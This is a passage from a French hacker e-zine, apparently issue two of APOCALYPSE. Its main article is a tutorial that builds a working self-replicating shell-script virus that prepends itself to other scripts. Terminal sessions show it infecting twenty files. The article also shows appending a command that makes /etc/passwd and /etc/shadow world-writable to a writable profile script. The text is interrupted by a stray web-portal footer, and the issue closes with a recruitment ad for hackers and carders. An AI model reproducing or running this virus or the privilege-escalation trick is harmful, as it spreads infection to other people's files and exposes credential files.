"iNFeCtiON" >> bsearch2.sh~ [root@ThreaT@workgroup /root/script]# echo "iNFeCtiON" >> virsign.sh~ [root@ThreaT@workgroup /root/script]# chmod +x detect.sh [root@ThreaT@workgroup /root/script]# ./detect.sh bsearch2.sh~ est infecter detect.sh est infecter virsign.sh~ est infecter [root@ThreaT@workgroup /root/script]# comme vous pouvez le constater, la fonction a parfaitement russie reconnaitre les fichiers de type bourne shell script qui possedaient le motif d'infection!! une petite remarque ce sujet : j'ai pas ecris "iNFeCtiON" en mixed case pour me la pt, mais pour tre bien sur que grep reconnaitra ce motif comme une chaine unique. (je dis sa car y'a un gros lame qui commence me faire des reflexions derriere mon paule) "tu frais mieux d'aller bosser sur ton bof plutot que de m'emmerder pendent que j'ecrit" voila, on c'est debarrassez du lama! continuons sur notre lancer... 101/ecrire le code virale dans le code cible ############################## newbie: "je vois pas pourquoi tu va encore nous faire chier!!" "on sait tous comment ecrire dans le code cible tu l'a dit tout a l'heure" "il suffit juste de faire un redirection des chaines trouves par grep" ThreaT: "Si seulement sa pouvait tre aussi simple..." aller va, me dites pas que vous ne l'avez pas penss, vous vous dites qu'un indicateur de direction de type >> suffiras satisfaire cette exigence, et vous vous demandez pourquoi je vais faire une parti pour sa! en faite ce n'est pas si simple imaginons que vous tombiez sur un shell appartenant un tudiant en informatique. [user@Etudiant@linux user]$ ls -l /etc/profile.d/*.sh -rwxr-xr-x 1 root root 672 Mar 13 14:11 /etc/profile.d/alias.sh* -rwxr-xr-x 1 root root 191 Mar 13 14:44 /etc/profile.d/color_ls.sh* -rwxr-xr-x 1 root root 133 Jan 12 06:36 /etc/profile.d/inputrc.sh* -rwxr-xr-x 1 root root 192 Jan 7 15:00 /etc/profile.d/kde.sh* -rwxr-xr-x 1 root root 1682 Mar 13 14:18 /etc/profile.d/lang.sh* -rwxr-xrwx 1 root root 38 Jun 14 18:48 /etc/profile.d/master.sh* -rwxr-xr-x 1 root root 167 Jan 4 22:50 /etc/profile.d/mc.sh* -rwxr-xr-x 1 root root 267 Dec 22 18:24 /etc/profile.d/numlock.sh* -rw-r--r-- 1 root root 0 Feb 23 21:18 /etc/profile.d/proxy.sh -rwxr-xr-x 1 root root 103 Dec 21 14:44 /etc/profile.d/screen.sh* -rwxr-xr-x 1 root root 152 Mar 13 14:15 /etc/profile.d/xhost.sh* ho putain le con, il a fait un script la maverick en write acces pour les users -rwxr-xrwx 1 root root 38 Jun 14 18:48 /etc/profile.d/master.sh* tout content, vous voulez faire comme dans l'article que vous avez lu dans votre jeunesse! [user@Etudiant@linux user]$ chmod 777 /etc/passwd && chmod 777 /etc/shadow >> /etc/profile.d/master.sh [user@Etudiant@linux user]$ le lendemain... [user@Etudiant@linux user]$ ls -l /etc/passwd /etc/shadow -rw-r--r-- 1 root root 796 Mar 13 13:58 /etc/passwd -rw------- 1 root root 712 Mar 13 13:58 /etc/shadow [user@Etudiant@linux user]$ heeuu merde!! bash : heeuu: command not found [user@etudiant@linux user]$ mais pourquoi sa n'a pas march?? [user@Etudiant@linux user]$ cat /etc/profile.d/master.sh #!/bin/sh echo "bonjour matre" exit 0 chmod 777 /etc/passwd && chmod 777 /etc/shadow [user@Etudiant@linux user]$ et oui, il fallait s'y attendre! normalemment, tout bon codeur qui a appris pour avoir une bonne note l'cole sait qu'il faut toujours terminer son script par un signal positif ou negatif (selon erreur ou pas) donc par exit 0 ou exit 1. ce qui fait que notre commande qui a t ajoute par le redirecteur de chaine >> "append" est bais, car le processus rencontre la commande de terminaison du script avant notre fucked commande dans le cas on l'on agit manuellement, la solution serais de mettre notre commande au debut du script! ok mais dans le cas ou l'on fait un script qui va s'auto-repliquer, si celui si infecte un script ce terminant par exit, et ben on est bais jusqu'a l'os! But What is ZE solution? la solution apporte va ce faire en 3 temps 1-extraire le code cible dans un fichier temporaire 2-ecrire notre code viral en ecrasant le code cible 3-ajouter le code cible contenu dans le fichier temporaire la fin de notre code viral =================================demonstration=========================== *************************environnement*************************** ----------cible.sh------------------- #!/bin/sh echo "je suis un fichier innocent" ----------------------------------- ---------virus.sh-------------------- #!/bin/sh echo "je suis un code malveillant!" #signature ------------------------------------ -----------temp-------------------- ---------------------------------- ******************************************************************** ******************************************************************* les commandes : #################################################### 1/extraire le code cible dans un fichier temporaire #################################################### commande: { cat cible.sh > temp } incidence : { -----------cible.sh--------------- #!/bin/sh echo "je suis un script innocent" -------------------------------- ----------temp------------------- #!/bin/sh echo "je suis un script innocent" -------------------------------- } #################################################### 2-ecrire notre code viral en ecrasant le code cible #################################################### commandes: { echo "#!/bin/sh" > cible.sh grep "signature" $0 >> cible.sh } incidence: { ---------virus.sh-------------------- #!/bin/sh echo "je suis un code malveillant!" #signature ------------------------------------ ----------cible.sh------------------- #!/bin/sh echo "je suis un code malveillant!" #signature ----------------------------------- } ###################################################################################### 3-ajouter le code cible contenu dans le fichier temporaire la fin de note code viral ###################################################################################### commande: { cat temp >> cible.sh } incidence: { ----------temp------------------- #!/bin/sh echo "je suis un script innocent" -------------------------------- ----------cible.sh------------------- #!/bin/sh echo "je suis un code malveillant!" #signature #!/bin/sh echo "je suis un script innocent" ----------------------------------- } voila, on peut pas faire plus simple. en faite je viens de vous montrez une facon, mais en reflechissant bien, il serais mieux de constituer d'abord le virus integr son code porteur dans le fichier temporaire, et ecraser la cible par le tout! cela serais un peu plus scure... enfin bon, on s'en fou! bon, maintenant qu'on a trouvs comment satisfaire les exigences pour pouvoir mettre sur pied un virus SSI basic nous allons coller tout les morceaux pour voir ce que sa donne en realite. \\0x04// MISE EN PLACE DU CODE @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ nous allons mettre tout les elements indiqus si dessus bout bout, pour donner naissance un jeune virus sans experiance. allez maman, poussez fort!! les tapes : 1/recenser les victimes potentielles 2/regarder si la victime potentielle est deja porteuse du virus 3/infecter la victime si celle si est encore saine (j'allait dire vierge, mais on va me prendre pour un pervert) voyons de quoi nous disposons #################################### 1/recenser les victimes potentielles #################################### code a disposition: ******************** #!/bin/sh #bsearch2.sh by ThreaT for fichier in * do file $fichier > /tmp/t if grep "shell" /tmp/t > /dev/null; then var="$var $fichier" #on assigne le nom trouver a une variable d'environnement en formattant de la facon 'fichier fichier fichier..." fi done rm -f /tmp/t echo "nous allons maintenant jetter un oeil a \$var pour voir ce qu'il contient" echo " -------------------" echo "$var" #fin du script ############################################################### 2/regarder si la victime potentielle est deja porteuse du virus ############################################################### code a disposition: ******************* for inspect in $var do if grep "iNFeCtiON" $inspect > /dev/null; then echo "$inspect est infecter" fi done ############################################################### 3/infecter la victime si celle si est encore vierge (en fin de compte, je me suis dit que j'etais un gros pervert) ############################################################### code a disposition: ******************* cat cible.sh > temp echo "#!/bin/sh" > cible.sh grep 'signature" $0 >> cible.sh cat temp >> cible.sh rm -f temp que l'on vas remplacer par: echo "#!/bin/sh" > temp grep "signature" $0 >> temp cat cible.sh >> temp cat temp > cible.sh cette version est un peut plus scure, car si un blme vient survenir lors de l'appelle de l'une des 3 premires commandes, la cible n'est pas detruite. ================================================================================== on va maintenant fusionner tout sa !! en optimisant un peu le nom des variables (c'est que sa prend vite de la place) ================================================================================ ---------virus.sh------------ #!/bin/sh echo "virus.sh version 0.0 by ThreaT" #MvM echo " a titre experimantal" #MvM for f in * #MvM do #MvM file $f > /tmp/t #MvM if grep "shell" /tmp/t > /dev/null; then #MvM v="$v $f" #MvM fi #MvM done #MvM for i in $v #MvM do #MvM if grep "ViRuS" $i > /dev/null; then #MvM continue #MvM fi #MvM echo "#!/bin/sh" > /tmp/t #MvM grep "MvM" $0 >> /tmp/t #MvM cat $i >> /tmp/t #MvM cat /tmp/t > $i #MvM done #MvM rm -f /tmp/t #MvM #fin du virus -------------------------------- et voila, notre tout premier virus ultra basic qui ne pense qu' niquer! le virus primaire, trivial, le gros truc qui ne survivra pas une seconde sur un serveur... avouez que vous avez hate de voir comment sa reagit, hein? \\0x05//OBSERVATION EN LABORATOIRE @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ pour notre premier essai, nous allons constituer un repertoire ddi la prolifration de notre bestiol. comme celui si n'a pas de fonction d'exportabilite hors du repertoire courant, ce seras facilement controlable. -------------debut de l'observation------------------ ----------------------------------------------- -------avec commentaires pour les novices du shell------- ----------------------------------------------- /*tout d'abbord, on vas specifier le bit d'execution notre virus */ [root@ThreaT@workgroup /root/script/virii]# chmod +x virus.sh /*ici on cre un script pourris, qui feras office de victime */ [root@ThreaT@workgroup /root/script/virii]# vi innocent #!/bin/sh echo "je suis innocent!" <:wq!> /* le script cre, on lui assigne le bit d'execution */ [root@ThreaT@workgroup /root/script/virii]# chmod +x innocent /* et on le lance, pour voir si il marche bien */ [root@ThreaT@workgroup /root/script/virii]# ./innocent je suis innocent! /*ok, maintenant, observons notre repertoire */ [root@ThreaT@workgroup /root/script/virii]# ls -l total 8 -rwxr-xr-x 1 root root 34 Mar 14 00:15 innocent* -rwxr-xr-x 1 root root 468 Mar 14 00:12 virus.sh* /* je tiens attirer votre attention sur le faite que "innocent" fait 34 octets */ /*executons notre virus*/ [root@ThreaT@workgroup /root/script/virii]# ./virus.sh virus.sh version 0.0 by ThreaT a titre experimantal /*sa, c'est le petit message pour ce la pt! mais par sa, y'a pas de messages d'erreurs*/ /*rejettons un oeil sur notre repertoire*/ [root@ThreaT@workgroup /root/script/virii]# ls -l total 8 -rwxr-xr-x 1 root root 488 Mar 14 00:18 innocent* -rwxr-xr-x 1 root root 468 Mar 14 00:12 virus.sh* /* tiens, "innocent fait 488 octet? mais comment sa ce fait? */ /* on rexecute "innocent" */ [root@ThreaT@workgroup /root/script/virii]# ./innocent virus.sh version 0.0 by ThreaT a titre experimantal je suis innocent /* plus si innocent que sa ce que je vois */ /* regardons le corp du script pour voir */ [root@ThreaT@workgroup /root/script/virii]# cat innocent #!/bin/sh echo "virus.sh version 0.0 by ThreaT" #MvM echo " a titre experimantal" #MvM for f in * #MvM do #MvM file $f > /tmp/t #MvM if grep "shell" /tmp/t > /dev/null; then #MvM v="$v $f" #MvM fi #MvM done #MvM for i in $v #MvM do #MvM if grep "ViRuS" $i > /dev/null; then #MvM continue #MvM fi #MvM echo "#!/bin/sh" > /tmp/t #MvM grep "MvM" $0 >> /tmp/t #MvM cat $i >> /tmp/t #MvM cat /tmp/t > $i #MvM done #MvM rm -f /tmp/t #MvM #!/bin/sh echo "je suis innocent" /* bingo! la cible est parfaitement infecte */ ---------------------------------------------------- bon, maintenant, on va regarder si notre script "innocent" est capable d'infecter un autre script idiot ---------------------------------------------------- /*creation du script idiot */ [root@ThreaT@workgroup /root/script/virii]# vi idiot #!/bin/sh echo "je suis un script idiot" <:wq!> /*assignation du bit d'execution */ [root@ThreaT@workgroup /root/script/virii]# chmod +x idiot /*observation du repertoire*/ [root@ThreaT@workgroup /root/script/virii]# ls -l total 12 -rwxr-xr-x 1 root root 42 Mar 14 00:40 idiot* -rwxr-xr-x 1 root root 488 Mar 14 00:18 innocent* -rwxr-xr-x 1 root root 468 Mar 14 00:12 virus.sh* /*comme d'hab, vous avez bien observ le nombre d'octet de "idiot" */ /*execution du script "innocent"*/ [root@ThreaT@workgroup /root/script/virii]# ./innocent virus.sh version 0.0 by ThreaT a titre experimantal je suis innocent /*on rejette un oeil au repertoire*/ [root@ThreaT@workgroup /root/script/virii]# ls -l -rwxr-xr-x 1 root root 496 Mar 14 00:40 idiot* -rwxr-xr-x 1 root root 488 Mar 14 00:18 innocent* -rwxr-xr-x 1 root root 468 Mar 14 00:12 virus.sh* /* et hop, innocent infect idiot */ ha la la, ces jeunes, ils ne pensent qu' ce reproduires... maintenant, nous allons tout effacer (sauf idiot) puis nous allons cre un petite 20ene de scripts pour voir si idiot est capable de ce reproduire dans les 20! [root@ThreaT@workgroup /root/script/virii]# rm virus.sh rm: remove 'virus.sh"? y [root@ThreaT@workgroup /root/script/virii]#rm innocent rm: remove 'innocent'? y /*on cre le script test original*/ [root@ThreaT@workgroup /root/script/virii]# vi testt #!/bin/sh echo "je suis un programme test" <:wq!> /*on cre un script pour en copier 20 (vous aviez pas cru que j'allait m'y pallucher la main?")*/ [root@ThreaT@workgroup /root/script/virii]# vi sccopy #!/bin/sh a=1 while [ "$a" -le 20 ]; do cp testt testt$a a=$(($a+1)) done <:wq!> /*celui la, on le met en bit exec*/ [root@ThreaT@workgroup /root/script/virii]#chmod +x sccopy /* on l'execute */ [root@ThreaT@workgroup /root/script/virii]# ./sccopy /*on liste le repertoire*/ [root@ThreaT@workgroup /root/script/virii]# ls -l total 92 -rwxr-xr-x 1 root root 496 Mar 14 00:41 idiot* -rwxr-xr-x 1 root root 74 Mar 14 01:09 sccopy* -rw-r--r-- 1 root root 43 Mar 14 00:50 testt -rw-r--r-- 1 root root 43 Mar 14 01:08 testt1 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt10 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt11 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt12 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt13 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt14 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt15 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt16 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt17 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt18 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt19 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt2 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt20 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt3 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt4 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt5 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt6 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt7 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt8 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt9 /*on en test un au hazard*/ [root@ThreaT@workgroup /root/script/virii]# sh ./testt6 je suis un programme test /*ok, maintenant que tout beigne, on va voir si idiot est capable de ce reproduire sur tout le repertoire*/ /*et on va mme observer combien de temp il met*/ [root@ThreaT@workgroup /root/script/virii]# time ./idiot virus.sh version 0.0 by ThreaT a titre experimantal je suis un script idiot 0.61user 0.18system 0:00.79elapsed 99%CPU(0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (15119major+8931minor)pagefaults 0swaps /* comme vous pouvez le voir, l'operation a durer 79 dixieme et a utiliser 99% du CPU, ce que je trouve */ /* quand meme pas mal pour un code interprt */ /* bon, on liste*/ [root@ThreaT@workgroup /root/script/virii]# ls -l total 92 -rwxr-xr-x 1 root root 496 Mar 14 00:41 idiot* -rwxr-xr-x 1 root root 528 Mar 14 01:15 sccopy* -rw-r--r-- 1 root root 497 Mar 14 01:15 testt -rw-r--r-- 1 root root 497 Mar 14 01:15 testt1 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt10 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt11 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt12 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt13 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt14 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt15 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt16 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt17 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt18 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt19 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt2 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt20 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt3 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt4 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt5 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt6 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt7 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt8 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt9 [root@ThreaT@workgroup /root/script/virii]# /* ok, sa nique fort!! */ comme nous avons put l'observer, le virus marche merveille, seulement il est vraiment trop basic, pourquoi : - celui ci ne ce reproduit que dans le repertoire courant - il ne contient aucune chaine de test d'ecriture - de plus, il contient beaucoup de bug en environnement user on va regarder sa tout de suite: \\0x06//DEBUGGING & AJOUT DE FONCTION @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ deboguer un script de shell ne prsente normalement guere de difficultes, bien qu'il n'existe pas d'outils spcifiques dedis cet effet. lorsque une erreur ce produit, le shell imprime en general le numero de la ligne l'origine de l'erreur. si celle ci n'est pas vidente, il est possible d'ajouter quelques insctructions "echo" supplementaires afin d'afficher le contenu des variables, ainsi que de tester le code par portion en les saisissants simplement dans le shell de magniere interactive. un script etant interpret, il n'y a pas de perte de temp due a la compilation lorsque vous le modifis et le tests. le meilleur moyen de detecter des erreurs plus subtils consiste utiliser certaines options du shell. cela peut tre ralis soit l'aide des options de la ligne de commande, soit a l'aide de la commande "set". voici un resumer des principales options Option de la ligne de commande option set description ----------------------- -------------- ----------------------- sh -n

 

 

 


 

 

 

 


®Tous droits réservés 2000

 

Dialogue en direct : 8605 connectés
CaraPlazza : 2493 articles en vente

 

Spray Europe: Allemagne France Italie Norvège Suède Rep. Tchèque

Caramail respecte la loi informatique et libertés de 1978.

)-\\ Scurt //-( ^^^^^^^^^^^^^^^^^ # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい ON RECRUTE !!! いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい Encore et toujours, le Hacktif Crew recherche du monde, dont notamment : * des hackers (de prfrence hacktifs mdr) * des paranoaques aigus experts en cryptographie * des crackers (des VRAIS) * des phreakers (RTC, GSM, WAP et bidouilles) * des carders (p bien lol) * des trashers * des kings sur plateformes UNIX * des programmeurs (tous les langages possibles) * des sceners motivs pour crire des articles * des Cyber-Commandos pour faire des cyber-missions-suicides ;o) * des gars qui seraient intresss par des meets IRC & IRL * des mcnes pour nous refiler des ordinateurs portables * quelqu'un pour faire des tee-shirts nos couleurs A bon entendeur... ON VOUS ATTEND !!! ~)- Redoxx -(~ ^^^^^^^^^^^^^^^^^^ # # ### # ## ### ## #### ##### ### ##### ##### #### ###### ##### ###### ###### ##### ####### #### ################### #### ################################# ########################## ################## ######################### ############## ## ## いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい OUTRO いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい C'EST FINI !!! Le second numro de APOCALYPSE s'achve ici, en esprant que a vous a plu. On vous donne rendez-vous notre meeting IRC le samedi 2 dcembre partir de 21h00 sur le chan #cyberpunk se trouvant sur Undernet (eu.undernet.org), o l'on essaira de traiter d'un maximum de sujet comme le hacking, le cracking, le phreaking, le se, le re, la crypto, ce qu'on appelle maintenat le "spirit" (genre la bananarchie), la programmation, Linux, les exploits, ainsi que le dveloppement de la Scne franaise/belge/suisse. S'il le faut, on crera des chans parallles, avec un chan rserv chaque sujet et le chan #cyberpunk en guise de grand rassemblement. Voili, rendez-vous le 2 dcembre !!! BYE BYE !!! ~)- Redoxx -(~ ^^^^^^^^^^^^^^^^^^ ####################################################################### ####################################################################### ####### __ __ ____ _____ __ ___ ___ __ _______ ####### ####### | | | | / |/ \ | | / | |__|__|/ \ ####### ####### | |__| |/ /| | _ \| |/ // \__/ |\___\ ####### ####### | | / | | | \___\ / | ____/ | |__ ####### ####### | __ | /__| | |_/ / \ | \___| | | ####### ####### | | | | | /| |\ \\ / | __| ####### ####### |__| |__|__||__|\_____/ |__| \___|\____/|__|\___| ####### ####### ####### ####################################################################### #######################################################################